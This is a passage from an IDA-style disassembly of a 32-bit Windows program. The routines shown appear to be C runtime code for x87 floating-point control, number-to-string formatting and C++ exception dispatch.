ptr [eax] jmp short loc_421DE4 ; --------------------------------------------------------------------------- loc_421DE2: ; CODE XREF: sub_421BFF+14Ej mov esi, ebx loc_421DE4: ; CODE XREF: sub_421BFF+1E1j test esi, esi pop esi jz short loc_421DF1 push 10h call sub_4220AC pop ecx loc_421DF1: ; CODE XREF: sub_421BFF+1E8j and edi, 0FFFFFFFDh loc_421DF4: ; CODE XREF: sub_421BFF+26j ; sub_421BFF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421E0B test byte ptr [ebp+arg_8], 20h jz short loc_421E0B push 20h call sub_4220AC pop ecx and edi, 0FFFFFFEFh loc_421E0B: ; CODE XREF: sub_421BFF+1F9j ; sub_421BFF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E16(int,int,int,int,int,int,double,int) sub_421E16 proc near ; CODE XREF: sub_421861+2Bp ; sub_4218B4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421EC4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421E81 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_422089 lea eax, [ebp+var_20] push eax call sub_42482D add esp, 0Ch test eax, eax jnz short loc_421E7B push esi call sub_421E9E pop ecx loc_421E7B: ; CODE XREF: sub_421E16+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421E81: ; CODE XREF: sub_421E16+14j push 0FFFFh push [ebp+arg_20] call sub_422089 push [ebp+arg_0] call sub_421E9E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421E16 endp ; =============== S U B R O U T I N E ======================================= sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp ; sub_421E16+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421EB9 jle short locret_421EC3 cmp eax, 3 jg short locret_421EC3 mov dword_4DBDDC, 22h retn ; --------------------------------------------------------------------------- loc_421EB9: ; CODE XREF: sub_421E9E+7j mov dword_4DBDDC, 21h locret_421EC3: ; CODE XREF: sub_421E9E+9j ; sub_421E9E+Ej retn sub_421E9E endp ; =============== S U B R O U T I N E ======================================= sub_421EC4 proc near ; CODE XREF: sub_421E16+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43D308 loc_421ECB: ; CODE XREF: sub_421EC4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421EE1 add eax, 8 inc ecx cmp eax, offset dbl_43D3E0 jl short loc_421ECB xor eax, eax retn ; --------------------------------------------------------------------------- loc_421EE1: ; CODE XREF: sub_421EC4+Dj mov eax, off_43D30C[ecx*8] retn sub_421EC4 endp ; =============== S U B R O U T I N E ======================================= sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421EF5 push 5 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EF5: ; CODE XREF: sub_421EE9+6j test al, 8 jz short loc_421EFD push 1 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EFD: ; CODE XREF: sub_421EE9+Ej test al, 4 jz short loc_421F05 push 2 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421F05: ; CODE XREF: sub_421EE9+16j test al, 1 jz short loc_421F0D push 3 loc_421F0B: ; CODE XREF: sub_421EE9+Aj ; sub_421EE9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421F0D: ; CODE XREF: sub_421EE9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421EE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F16(double) sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp ; sub_41D19B:loc_41D221p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F28(double,int) sub_421F28 proc near ; CODE XREF: sub_421FAB+82p ; sub_421FAB+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F51 proc near ; CODE XREF: sub_41D055+31p ; sub_41D19B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421F68 cmp [ebp+arg_0], edx jnz short loc_421F7A push 1 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F68: ; CODE XREF: sub_421F51+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421F7A cmp [ebp+arg_0], edx jnz short loc_421F7A push 2 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F7A: ; CODE XREF: sub_421F51+11j ; sub_421F51+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421F8D push 3 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F8D: ; CODE XREF: sub_421F51+36j cmp cx, 7FF0h jnz short loc_421FA7 test [ebp+arg_4], 7FFFFh jnz short loc_421FA2 cmp [ebp+arg_0], edx jz short loc_421FA7 loc_421FA2: ; CODE XREF: sub_421F51+4Aj push 4 loc_421FA4: ; CODE XREF: sub_421F51+15j ; sub_421F51+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421FA7: ; CODE XREF: sub_421F51+41j ; sub_421F51+4Fj xor eax, eax pop ebp retn sub_421F51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421FAB(double,int) sub_421FAB proc near ; CODE XREF: sub_421BFF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427860 push esi fnstsw ax sahf jnz short loc_421FCB fldz xor esi, esi fstp [ebp+var_8] jmp loc_422061 ; --------------------------------------------------------------------------- loc_421FCB: ; CODE XREF: sub_421FAB+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42203A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421FE3 cmp dword ptr [ebp+arg_0], ecx jz short loc_42203A loc_421FE3: ; CODE XREF: sub_421FAB+31j fld [ebp+arg_0] fcomp dbl_427860 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421FFB push 1 pop eax jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_421FFB: ; CODE XREF: sub_421FAB+49j xor eax, eax loc_421FFD: ; CODE XREF: sub_421FAB+4Ej ; sub_421FAB+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_422016 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_422010 or dword ptr [ebp+arg_0+4], 1 loc_422010: ; CODE XREF: sub_421FAB+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_422016: ; CODE XREF: sub_421FAB+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_422024 or byte ptr [ebp+arg_0+7], 80h loc_422024: ; CODE XREF: sub_421FAB+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 fstp [ebp+var_8] add esp, 0Ch jmp short loc_422061 ; --------------------------------------------------------------------------- loc_42203A: ; CODE XREF: sub_421FAB+28j ; sub_421FAB+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_422061: ; CODE XREF: sub_421FAB+1Bj ; sub_421FAB+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42206C proc near ; CODE XREF: sub_42194C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_42206C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42207A proc near ; CODE XREF: sub_42194C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42207A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422089 proc near ; CODE XREF: sub_41D055+13p ; sub_41D055+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_422089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp ; sub_421BFF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_4220C3 fld tbyte_43D408 fistp [ebp+arg_0] wait loc_4220C3: ; CODE XREF: sub_4220AC+Bj test cl, 8 jz short loc_4220D8 fstsw ax fld tbyte_43D408 fstp [ebp+var_8] wait fstsw ax loc_4220D8: ; CODE XREF: sub_4220AC+1Aj test cl, 10h jz short loc_4220E7 fld tbyte_43D414 fstp [ebp+var_8] wait loc_4220E7: ; CODE XREF: sub_4220AC+2Fj test cl, 4 jz short loc_4220F5 fldz fld1 fdivrp st(1), st fstp st wait loc_4220F5: ; CODE XREF: sub_4220AC+3Ej test cl, 20h jz short locret_422100 fldpi fstp [ebp+var_8] wait locret_422100: ; CODE XREF: sub_4220AC+4Cj leave retn sub_4220AC endp ; =============== S U B R O U T I N E ======================================= sub_422102 proc near ; CODE XREF: sub_41D124+Fp push 30000h push 10000h call sub_424865 pop ecx pop ecx retn sub_422102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427870 fstp [ebp+var_8] fld dbl_427868 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4276F8 fnstsw ax sahf jbe short loc_42214E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_422114+33j xor eax, eax leave retn sub_422114 endp ; =============== S U B R O U T I N E ======================================= sub_422152 proc near ; CODE XREF: sub_41D124+5p push offset aKernel32 ; "KERNEL32" call near ptr 2680E9Ah nop test eax, eax jz short loc_422176 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26B0000h test eax, eax jz short loc_422176 push 0 call eax ; sub_41D124 retn ; --------------------------------------------------------------------------- loc_422176: ; CODE XREF: sub_422152+Dj ; sub_422152+1Dj jmp sub_422114 sub_422152 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp ; DATA XREF: sub_41D13C+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DFEC cmp eax, 65h pop ecx jz short loc_4221BB loc_42218F: ; CODE XREF: sub_42217B+3Ej inc esi cmp dword_43D084, 1 jle short loc_4221A8 movsx eax, byte ptr [esi] push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4221B7 ; --------------------------------------------------------------------------- loc_4221A8: ; CODE XREF: sub_42217B+1Cj movsx eax, byte ptr [esi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 loc_4221B7: ; CODE XREF: sub_42217B+2Bj test eax, eax jnz short loc_42218F loc_4221BB: ; CODE XREF: sub_42217B+12j mov cl, byte_43D088 mov al, [esi] mov [esi], cl inc esi loc_4221C6: ; CODE XREF: sub_42217B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_4221C6 pop esi retn sub_42217B endp ; =============== S U B R O U T I N E ======================================= sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p ; DATA XREF: sub_41D13C+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43D088 mov cl, [eax] test cl, cl jz short loc_4221F1 loc_4221E5: ; CODE XREF: sub_4221D5+1Aj cmp cl, dl jz short loc_4221F1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4221E5 loc_4221F1: ; CODE XREF: sub_4221D5+Ej ; sub_4221D5+12j mov cl, [eax] inc eax test cl, cl jz short locret_422222 loc_4221F8: ; CODE XREF: sub_4221D5+34j mov cl, [eax] test cl, cl jz short loc_42220B cmp cl, 65h jz short loc_42220B cmp cl, 45h jz short loc_42220B inc eax jmp short loc_4221F8 ; --------------------------------------------------------------------------- loc_42220B: ; CODE XREF: sub_4221D5+27j ; sub_4221D5+2Cj ... mov ecx, eax loc_42220D: ; CODE XREF: sub_4221D5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42220D cmp [eax], dl jnz short loc_422218 dec eax loc_422218: ; CODE XREF: sub_4221D5+40j ; sub_4221D5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422218 locret_422222: ; CODE XREF: sub_4221D5+21j retn sub_4221D5 endp ; =============== S U B R O U T I N E ======================================= sub_422223 proc near ; DATA XREF: sub_41D13C+28o ; ___:off_43D430o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427860 fnstsw ax sahf jb short loc_422238 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422238: ; CODE XREF: sub_422223+Fj xor eax, eax retn sub_422223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42223B proc near ; CODE XREF: sub_420DB0+430p ; DATA XREF: sub_41D13C+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_422264 lea eax, [ebp+var_8] push eax call sub_424D28 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_422264: ; CODE XREF: sub_42223B+Cj lea eax, [ebp+arg_8] push eax call sub_424D55 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42223B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422279 proc near ; CODE XREF: sub_4224F6+17p ; sub_422540+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DBE5C, 0 push ebx push esi jz short loc_4222AE mov ebx, [ebp+arg_8] mov eax, dword_4DBE58 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_422591 pop ecx pop ecx jmp short loc_4222E6 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_422279+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424DF9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424D82 add esp, 14h loc_4222E6: ; CODE XREF: sub_422279+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4222F2 mov byte ptr [eax], 2Dh inc eax loc_4222F2: ; CODE XREF: sub_422279+73j test ebx, ebx jle short loc_42230A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43D088 mov eax, edi pop edi mov [eax], cl loc_42230A: ; CODE XREF: sub_422279+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DBE5C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C890 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422331 mov byte ptr [ecx], 45h loc_422331: ; CODE XREF: sub_422279+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_422376 mov ebx, [esi+4] dec ebx jns short loc_422345 neg ebx mov byte ptr [ecx], 2Dh loc_422345: ; CODE XREF: sub_422279+C5j inc ecx cmp ebx, 64h jl short loc_42235C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_42235C: ; CODE XREF: sub_422279+D0j inc ecx cmp ebx, 0Ah jl short loc_422373 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_422373: ; CODE XREF: sub_422279+E7j add [ecx+1], bl loc_422376: ; CODE XREF: sub_422279+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_422279 endp ; =============== S U B R O U T I N E ======================================= sub_42237D proc near ; CODE XREF: sub_42251D+13p ; sub_422540+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DBE5C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4223B8 mov eax, dword_4DBE60 mov ebx, [esp+10h+arg_8] mov esi, dword_4DBE58 cmp eax, ebx jnz short loc_4223E8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4223E8 ; --------------------------------------------------------------------------- loc_4223B8: ; CODE XREF: sub_42237D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424DF9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424D82 add esp, 14h loc_4223E8: ; CODE XREF: sub_42237D+22j ; sub_42237D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4223F6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4223F6: ; CODE XREF: sub_42237D+70j mov eax, [esi+4] test eax, eax jg short loc_42240D push 1 push edi call sub_422591 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42240F ; --------------------------------------------------------------------------- loc_42240D: ; CODE XREF: sub_42237D+7Ej add edi, eax loc_42240F: ; CODE XREF: sub_42237D+8Ej test ebx, ebx jle short loc_422454 push 1 push edi call sub_422591 mov al, byte_43D088 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_422454 cmp byte_4DBE5C, 0 jz short loc_422439 neg esi jmp short loc_42243F ; --------------------------------------------------------------------------- loc_422439: ; CODE XREF: sub_42237D+B6j neg esi cmp ebx, esi jl short loc_422441 loc_42243F: ; CODE XREF: sub_42237D+BAj mov ebx, esi loc_422441: ; CODE XREF: sub_42237D+C0j push ebx push edi call sub_422591 push ebx push 30h push edi call sub_41BF70 add esp, 14h loc_422454: ; CODE XREF: sub_42237D+94j ; sub_42237D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_42237D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42245B proc near ; CODE XREF: sub_422540+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424DF9 mov dword_4DBE58, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DBE60, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424D82 mov eax, dword_4DBE58 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DBE60, ecx setl cl mov byte_4DBE64, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DBE60, eax jl short loc_4224E1 cmp eax, ebx jge short loc_4224E1 test cl, cl jz short loc_4224D2 loc_4224C8: ; CODE XREF: sub_42245B+72j mov al, [esi] inc esi test al, al jnz short loc_4224C8 and [esi-2], al loc_4224D2: ; CODE XREF: sub_42245B+6Bj push ebx push [ebp+arg_4] push edi call sub_42251D add esp, 0Ch jmp short loc_4224F1 ; --------------------------------------------------------------------------- loc_4224E1: ; CODE XREF: sub_42245B+63j ; sub_42245B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_4224F6 add esp, 10h loc_4224F1: ; CODE XREF: sub_42245B+84j pop edi pop esi pop ebx pop ebp retn sub_42245B endp ; =============== S U B R O U T I N E ======================================= sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DBE5C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_422279 and byte_4DBE5C, 0 add esp, 10h retn sub_4224F6 endp ; =============== S U B R O U T I N E ======================================= sub_42251D proc near ; CODE XREF: sub_42245B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DBE5C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42237D and byte_4DBE5C, 0 add esp, 0Ch retn sub_42251D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp ; DATA XREF: sub_41D13Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42257B cmp [ebp+arg_8], 45h jz short loc_42257B cmp [ebp+arg_8], 66h jnz short loc_422568 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42237D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_422568: ; CODE XREF: sub_422540+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42245B jmp short loc_42258C ; --------------------------------------------------------------------------- loc_42257B: ; CODE XREF: sub_422540+7j ; sub_422540+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_422279 loc_42258C: ; CODE XREF: sub_422540+39j add esp, 10h pop ebp retn sub_422540 endp ; =============== S U B R O U T I N E ======================================= sub_422591 proc near ; CODE XREF: sub_422279+2Cp ; sub_42237D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4225B4 push esi mov esi, [esp+8+arg_0] push esi call sub_41B9C0 inc eax push eax push esi add esi, edi push esi call sub_41D670 add esp, 10h pop esi loc_4225B4: ; CODE XREF: sub_422591+7j pop edi retn sub_422591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp ; sub_41D385+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4225CC call sub_422E52 loc_4225CC: ; CODE XREF: sub_4225B6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4225F4 cmp dword ptr [esi+4], 0 jz short loc_42264A cmp [ebp+arg_14], 0 jnz short loc_42264A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4228FD add esp, 10h jmp short loc_42264A ; --------------------------------------------------------------------------- loc_4225F4: ; CODE XREF: sub_4225B6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_42264A cmp dword ptr [eax], 0E06D7363h jnz short loc_42262E cmp [eax+14h], edi jbe short loc_42262E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42262E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_42264D ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_4225B6+4Aj ; sub_4225B6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_422651 add esp, 20h loc_42264A: ; CODE XREF: sub_4225B6+23j ; sub_4225B6+29j ... push 1 pop eax loc_42264D: ; CODE XREF: sub_4225B6+76j pop edi pop esi pop ebp retn sub_4225B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_422671 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_422676 loc_422671: ; CODE XREF: sub_422651+16j call sub_422E52 loc_422676: ; CODE XREF: sub_422651+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA mov esi, dword_4DBE68 test esi, esi jz loc_4227C8 mov eax, dword_4DBE6C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424F80 pop ecx test eax, eax pop ecx jnz short loc_4226CC call sub_422E52 loc_4226CC: ; CODE XREF: sub_422651+74j cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA call sub_422E52 loc_4226EA: ; CODE XREF: sub_422651+41j ; sub_422651+46j ... cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz loc_4227CD cmp [esi+14h], edi jnz loc_4227CD mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov ebx, eax loc_422721: ; CODE XREF: sub_422651+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4227B8 cmp [ebx], edi jg short loc_4227AD cmp edi, [ebx+4] jg short loc_4227AD mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4227AA loc_422746: ; CODE XREF: 